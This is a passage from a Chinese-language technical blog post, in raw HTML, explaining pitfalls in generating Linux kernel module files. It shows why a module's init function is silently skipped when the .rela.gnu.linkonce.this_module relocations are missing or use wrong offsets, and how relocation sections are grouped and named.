21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">retpoline</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">启用 Retpoline 缓解</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">check_modinfo_retpoline()</span></code><p><span leaf=""> 检查</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">初始化函数名</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">modprobe、用户空间工具</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cleanup</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">清理函数名</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">modprobe、用户空间工具</span></p></td></tr></tbody></table><p data-line="587" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">特别需要强调：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init=init_module</span></code><span leaf=""> 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cleanup=cleanup_module</span></code><span leaf=""> 只是 modprobe 等工具的约定，内核本身不解析这两个字段来找入口函数。内核唯一找 init/exit 的途径是通过 struct module 里的函数指针（见下一个坑）。</span></p><p data-line="589" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 10：init_module 为什么没有被调用 —— 核心坑</span></p><p data-line="591" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这是花了最长时间 debug 的问题。</span></p><p data-line="593" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">现象：模块加载成功（insmod 返回 0），卸载也成功，没有错误日志。但 init 函数里的代码就是没执行。把 init 的返回值改成 -1，加载居然还是成功——说明 init 根本没被调用到。</span></p><p data-line="595" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">回看 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">do_init_module()</span></code><span leaf=""> 的源码：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="597" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kernel/module.c</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (mod-&gt;init != </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ret = do_one_initcall(mod-&gt;init);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (ret &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">goto</span></span><span leaf=""> fail_free_freeinit;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="606" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mod-&gt;init</span></code><span leaf=""> 的值是从哪里来的？不是符号表查找，不是 .modinfo 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init=</span></code><span leaf=""> 字段。是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apply_relocations()</span></code><span leaf=""> 在处理 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.gnu.linkonce.this_module</span></code><span leaf=""> 段时填入的。</span></p><p data-line="608" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在处理重定位时，内核遍历所有 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHT_RELA</span></code><span leaf=""> 段，遇到 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.gnu.linkonce.this_module</span></code><span leaf="">，执行类似以下操作：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="610" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">r_offset 0x138: 将符号 init_module 的绝对地址写入 .gnu.linkonce.this_module + 0x138</span><span leaf=""><br/></span><span leaf="">r_offset 0x4c0: 将符号 cleanup_module 的绝对地址写入 .gnu.linkonce.this_module + 0x4c0</span></code></pre><p data-line="615" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这两个偏移量（0x138 和 0x4c0）正是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">struct module</span></code><span leaf=""> 内部 init/exit 函数指针的偏移位置。</span></p><p data-line="617" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">真实 .ko 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.gnu.linkonce.this_module</span></code><span leaf=""> 段内容示例（x86_64 Linux 6.19）：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="619" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">Offset        Type             Symbol</span><span leaf=""><br/></span><span leaf="">0x0138        R_X86_64_64      init_module</span><span leaf=""><br/></span><span leaf="">0x04c0        R_X86_64_64      cleanup_module</span></code></pre><p data-line="625" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ARM64安卓5.10上的真实数据：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="627" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">Offset        Type              Symbol</span><span leaf=""><br/></span><span leaf="">0x0190        R_AARCH64_ABS64   init_module</span><span leaf=""><br/></span><span leaf="">0x03c0        R_AARCH64_ABS64   cleanup_module</span></code></pre><p data-line="633" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不同架构、不同内核版本的偏移量不同。但原理一样：内核靠重定位把函数指针填进 struct module，不是靠名字查找。</span></p><p data-line="635" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以必须在转换阶段生成 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.gnu.linkonce.this_module</span></code><span leaf=""> 段，包含指向 init_module 和 cleanup_module 的两条重定位。偏移量先用已知值初始化（如 x86_64 用 0x138/0x4c0，ARM64 用 0x190/0x3c0），然后在目标修补阶段从参考 .ko 的同名重定位段中提取实际偏移，不匹配就修正。</span></p><p data-line="637" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果没有这个段或其偏移量是错的，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mod-&gt;init</span></code><span leaf=""> 就是 NULL，内核静默跳过 init，不报任何错误。</span></p><p data-line="639" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 11：重定位目标段的判定与重新索引</span></p><p data-line="641" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">重定位条目的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">r_offset</span></code><span leaf=""> 标记了&#34;在目标段偏移处写入修正值&#34;。但重定位条目本身需要被分组归属到不同的目标段。</span></p><p data-line="643" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">可靠的做法是分两级查找：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">优先用库提供的&#34;重定位所属段&#34; API（如果库支持）</span></p></li><li><p><span leaf="">库找不到时，用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">r_offset</span></code><span leaf="">（绝对 VA）去匹配所有保留段的 VA 范围，找到包含它的段</span></p></li></ol><p data-line="648" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果两步都找不到目标段——比如重定位指向的是已经删掉的段——就跳过，不写入。</span></p><p data-line="650" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每条重定位的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">r_info</span></code><span leaf=""> 字段需要重新计算：高 32 位填入符号在新符号表中的索引（不是原始索引），低 32 位填入剥离架构前缀后的重定位类型。</span></p><p data-line="652" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 12：重定位段命名和 ELF 结构</span></p><p data-line="654" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">输出的重定位段命名规则：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela</span></code><span leaf=""> + 目标段名。比如目标段是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.gnu.linkonce.this_module</span></code><span leaf="">，重定位段就是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.gnu.linkonce.this_module</span></code><span leaf="">。目标段是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf="">，重定位段就是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.text</span></code><span leaf="">。</span></p><p data-line="656" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每个 SHT_RELA 段的 ELF 段头中：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_link</span></code><p><span leaf=""> → 指向 </span><code style="font-family: 